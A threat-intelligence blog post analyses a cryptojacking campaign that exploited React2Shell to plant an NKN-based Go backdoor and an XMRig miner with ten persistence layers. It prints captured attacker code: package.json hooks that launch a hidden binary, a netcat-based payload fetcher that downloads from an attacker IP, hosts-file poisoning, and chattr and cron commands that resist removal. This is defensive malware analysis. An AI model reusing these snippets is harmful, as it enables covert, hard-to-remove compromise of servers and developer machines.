• Threat Intelligence
  • Incident Response
  • Malware Analysis
  • Cryptojacking
  • CVE 2025 55182

From React2Shell to a Hard-to-Kill Cryptojacking: 10 Layers of Survival Mechanisms

A live XMRig campaign exploited React2Shell, dropped a Go backdoor called n0de on NKN, and relied on ten overlapping survival layers. Cleanup attempts failed because every removal step triggered another layer to rebuild the payload.

Giovanni Braccini

Giovanni Braccini

Researcher

<h3>From React2Shell to a Hard-to-Kill Cryptojacking: 10 Layers of Survival Mechanisms</h3>

We analyzed a live XMRig campaign exploiting React2Shell (CVE-2025-55182). The attacker paired React2Shell CVE and infrastructure-level malware designed to survive almost any cleanup attempt.

persistence-stack

Attack Chain and Initial Compromise

During our December 2025 investigation, the campaign was observed exploiting React2Shell, a critical RCE affecting React Server Components and Server Functions in React 19.0.0–19.2.0.

The affected instance was fronted by Cloudflare with WAF protections in place from the day prior to disclosure (December 2rd, 2025). However, exploitation still succeeded, showing that WAF coverage alone can be insufficient.

React2Shell carries CVSS 10.0 and was actively exploited in the wild at disclosure. Following exploitation, the attacker gained execution to modify package.json and weaponize trusted development/runtime workflows. The attacker than established persistence mechanisms that would survive typical incident response procedures.

React2Shell: Weaponizing the Development Pipeline

React2Shell (CVE-2025-55182 / CVSS 10.0) hits React Server Components on React 19.0.0, 19.1.0, 19.1.1, and 19.2.0, already exploited in the wild.

The most innovative aspect of this campaign lies in its abuse of legitimate development workflows. By injecting malicious commands into package.json script definitions, the attacker ensured that normal developer activities would trigger payload execution. In the compromised environment we analyzed, the package.json file had been modified to include several malicious script hooks that would execute during routine operations.

{
  "scripts": {
  "dev": "nohup /var/tmp/.font/n0de > /dev/null 2>&1 & next dev --turbopack",
  "build": "next build",
  "start": "nohup /var/tmp/.font/n0de > /dev/null 2>&1 & next start",
  "lint": "next lint"
}
}

The dev script, typically invoked dozens of times daily by developers running local development servers, was modified to silently launch a malicious n0de binary located in the hidden /var/tmp/.font/ directory before starting the legitimate Next.js development server. The use of a dot-prefixed directory allowed the payload to blend in with temporary system artifacts and evade casual inspection. Output was fully redirected to /dev/null, ensuring the process executed without visible indicators.

Similarly, the start script, executed whenever the application was launched in production, was altered to re-execute the same backdoor binary from the .font directory prior to starting the Next.js service. This guaranteed reinfection across restarts, deployments, and operational recoveries, even if the miner or backdoor process had previously been terminated.

Notably, the build and lint scripts remained untouched, reducing the likelihood of detection during CI/CD reviews or automated checks. By confining persistence to commonly used runtime commands (dev and start) and hiding the binary in a directory typically associated with transient files, the attacker minimized noise while maintaining reliable execution in both development and production environments.

This technique effectively weaponized routine application lifecycle commands as a persistence mechanism. Defenders who removed the cryptominer from running hosts were repeatedly reinfected as soon as developers restarted local environments or services were redeployed. The attacker exploited trusted DevOps workflows and filesystem conventions, turning standard operational practices into a durable and stealthy persistence vector.

Payload Analysis: Static Go Backdoor on NKN (NKAbuse)

The file entrypoint for this campaign is a binary named n0de, which serves as the primary backdoor component. Despite its sophisticated capabilities, the binary demonstrates remarkable evasion of antivirus detection. VirusTotal analysis at the time of our investigation showed only a single detection from Kaspersky among all scanning engines, while ANY.RUN sandbox analysis reported zero detections during dynamic execution.

ANY.RUN Analysis - Zero Detections

n0de VirusTotal scan

The binary is detected by Kaspersky as “HEUR:Backdoor.Linux.NKAbuse.a”, and ANY.RUN reports typical NKN backdoor seed nodes traffic, such as mainnet-seed-0001.nkn.org .Reverse engineering confirmed n0de is a statically compiled Go backdoor.

The backdoor leveraged the NKN decentralized infrastructure for command and control communications. This architectural decision represents a significant operational security improvement over traditional C2 channels.

By utilizing NKN’s peer-to-peer network and resolving peers through distributed seed nodes, the attacker substantially reduced the risk of infrastructure takedown. Traditional C2 infrastructure can be seized or blocked once identified, but decentralized networks present no single point of failure for law enforcement or security researchers to target.

The backdoor deployed the miner through a bash script auto-upgrade.sh which also embeds several persistence mechanisms. Miner deployment handlers managed the distribution of architecture-specific mining payloads across heterogeneous infrastructure.

Process hunting functions continuously scanned for competing cryptominers, terminating rival operations to maximize available CPU resources for the attacker’s own mining activities.

auto-upgrade.sh Script Analysis

The payload included separate droppers optimized for x86_64/amd64 and arm64/armv7 architectures, enabling effective operation across diverse infrastructure including traditional x86 servers, cloud instances, and increasingly common ARM-based systems. This cross-architecture capability suggests the attacker anticipated compromising container orchestration platforms and cloud-native environments where mixed architectures are increasingly common.

This was more than a miner - it was infrastructure-level malware, built to survive rebuilds and mobility between environments.

Ten Layers of Survival Mechanisms

  • Application: Malicious npm lifecycle scripts redeploy payloads; base64 rebuilders recreate other layers.
  • Execution: Architecture-specific loaders traverse writable, executable mounts to stage binaries.
  • Network/Hosts: Hosts file poisoning blocks rival pools; NKN-based C2 avoids takedown.
  • Process Control: Hunts high-CPU or duplicate miners, zeroes binaries, applies immutable flags.
  • Delivery: Minimal HTTP fetcher (__gogo) plus curl/wget fallbacks; multi-hash verification before run.
  • Persistence (user): Modified ~/.bashrc and ~/.profile execute base64 payloads on shell start.
  • Persistence (system): Cron at reboot and /etc/cron.d/auto-upgrade seeded from the loader.
  • Udev: Network-interface udev rule runs obfuscated commands as root to reinstall cron payloads.
  • Anti-removal: Uses chattr +i on files and cron entries to resist deletion.
  • Recon/Selection: Architecture checks (x86_64/amd64, arm64/armv7) pick matching payload URLs and hashes.

Key Loader Behaviors

Core loader functions captured from the deployment script show how the actor fetched payloads, blocked rival pools, and verified binaries before execution:

# Minimal fetcher over nc; falls back to curl/wget if needed
__gogo() { host=$(echo "$1"|sed 's|http://||;s|/.*||'); port=$(echo "$host"|grep -o ':[0-9]*$'|tr -d ':'); host=$(echo "$host"|sed 's|:.*||'); path=/$(echo "$1"|sed 's|http://[^/]*/\\?||'); printf 'GET %s HTTP/1.0\\r\\nHost: %s\\r\\n\\r\\n' "$path" "$host" | nc "$host" "${port:-80}" | sed '1,/^\\r$/d'; }
# Hosts poisoning for rival pools (c3pool entries removed to keep attacker pool reachable)
grep -q "#####" /etc/hosts || echo -e "\\n#####\\n127.0.0.1 pool.minexmr.com ... rx.unmineable.com" | tee -a /etc/hosts
# Architecture-aware download with hash verification
[ "$A" = "x86_64" ] && U="http://107.174.70.106/1" && sha256="68de36..." && md5="bef192..." && cksum="1392796854 3287816"
ver() { f="$1"; { [ -n "$sha256" ] && a=$(sha256sum "$f" 2>/dev/null||shasum -a 256 "$f" 2>/dev/null) && [ "${a%% *}" = "$sha256" ]; } || { [ -n "$md5" ] && a=$(md5sum "$f" 2>/dev/null||md5 -q "$f" 2>/dev/null) && [ "${a%% *}" = "$md5" ]; } || { [ -n "$cksum" ] && a=$(cksum "$f" 2>/dev/null) && [ "${a%% *} ${a#* }" = "$cksum" ]; }; }

System Layer

System-level persistence was established through multiple mechanisms, including cron jobs and udev rules. In addition, user shell startup configuration files (~/.bashrc and ~/.profile) were modified to execute Base64-obfuscated commands on every shell initialization, providing the attackers with a persistent user-level foothold that triggered continuously.

The cron job captured below ran at reboot from /home/.cache/logfirewallsvc, hiding as a benign service while re-fetching payloads on a schedule.

The persistence chain is recursive in nature: the udev rule installs a root-level cron job, while the cron job re-fetches and reinstalls payloads on a schedule. This mutual reinforcement ensures that removal of a single persistence mechanism is insufficient, as remaining components automatically restore the missing elements upon reboot or network events

Persistence mechanisms: udev rules and cron

Persistence script base64 & decoded

The paired udev rule executed Base64-obfuscated commands as root whenever network interfaces were added, and even wrote a root-level cron job to /etc/cron.d/auto-upgrade, guaranteeing reinfection after every boot or network change.

logfirewallsvc Cron Entry

Defense Layer

The defensive layer implemented several anti-analysis and anti-competition measures. The malware utilized Linux’s chattr command to set immutable flags on critical files, preventing their deletion even by the root user until the attribute was explicitly removed. The /etc/hosts file was poisoned with localhost mappings for dozens of competing mining pools (shown in the script excerpt above), effectively blocking rival cryptominers from functioning even if they gained execution. Process hunting routines continuously scanned the process table for signatures of competing miners, terminating them immediately and replacing their binary on disk with zero-byte files protected by immutable attributes, mirrored in the execution-layer snippet that zeroes binaries and locks them down.

Captured defense logic shows how the attacker locks systems against cleanup:

# Strip existing cron entries, then lock files against edits
find /etc/cron* /var/spool/cron* -type f \
  -exec chmod ugo+w {} + -exec chattr -i -a {} + \
  -exec sed -i "/reboot/d" {} +
# Zero and freeze rival binaries
touch "$b" && chmod 000 "$b" && chattr +i "$b"

Why Removal Fails

  • Cron resurrects binaries through cron-jobs unless paired udev rule is removed.
  • Udev reinstalls cron on every network event, bypassing one-time cleanup.
  • package.json hooks re-drop payloads on the next CI/CD run if not reverted.
  • Immutable flags on binaries and cron files block deletion until cleared.
  • Partial fixes create false confidence; full rebuild is often required.

Operational Impact

Beyond direct compute costs, this campaign generates significant indirect operational impact. Persistent compute drain degrades application performance and drives up infrastructure expenses, particularly in cloud environments where CPU consumption directly affects billing.

The miner deliberately leaves at least one CPU core idle to avoid disrupting legitimate workloads, enabling the operation to persist undetected for extended periods.

Repeated reinfection following partial remediation places a sustained burden on incident response teams. Each cycle of detection, analysis, and cleanup consumes analyst time, causes system downtime.

Organizations unfamiliar with multi-layer persistence mechanisms often repeat ineffective remediation attempts before recognizing that complete eradication requires full infrastructure rebuilds from trusted images.

Most critically, false confidence resulting from surface-level remediation introduces additional risk. When initial cleanup appears successful, processes terminated and obvious artifacts removed, defenders may reduce monitoring and resume normal operations. Latent persistence mechanisms then restore the mining payload, allowing the attacker to maintain a foothold and continue cryptojacking activities unnoticed.

This research was conducted by the Beelzebub team as part of our ongoing effort to make the internet safer for defenders.

References

CVE details

ANY.RUN analysis

Cloudflare WAF rules for React2Shell

Try Our Managed Platform

Security deception runtime framework with zero false positives
Continuous validation via automated AI Red Teaming
Real-time malware analysis via our CTI Hub
Instant threat containment driven by the AI SOC